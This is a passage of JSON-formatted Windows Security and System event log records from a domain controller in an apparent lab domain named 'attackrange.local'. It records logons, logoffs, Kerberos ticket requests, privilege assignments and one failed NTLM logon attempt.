11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221605,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x4268D\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t49713\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x4268d","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"49713","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221606,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x4268D\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x4268d","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76823,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The wuauserv service entered the running state.","param1":"wuauserv","param2":"running","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221607,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t49766\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"49766","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221608,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x429C5\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x429c5","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221609,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x429C5\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t2001:0:2851:782c:2051:1b95:f5ff:fef1\r\n\tSource Port:\t\t49714\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x429c5","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"2001:0:2851:782c:2051:1b95:f5ff:fef1","IpPort":"49714","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221610,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tSupplied Realm Name:\tATTACKRANGE.LOCAL\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221611,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{38C254B7-563A-9AC0-4655-A4609CF219F9}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{38C254B7-563A-9AC0-4655-A4609CF219F9}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221612,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{38C254B7-563A-9AC0-4655-A4609CF219F9}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\twin-dc-9849183$\r\n\tAdditional Information:\twin-dc-9849183$\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0xa14\r\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonGuid":"{38C254B7-563A-9AC0-4655-A4609CF219F9}","TargetServerName":"win-dc-9849183$","TargetInfo":"win-dc-9849183$","ProcessName":"C:\\Windows\\System32\\taskhostw.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221613,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42A75\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42a75","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221614,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42A75\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{EE3E639E-E936-FE7A-BA71-A16F91194107}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42a75","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{EE3E639E-E936-FE7A-BA71-A16F91194107}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221615,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42A75\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x42a75","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221616,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x429C5\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x429c5","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221617,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42B38\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42b38","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 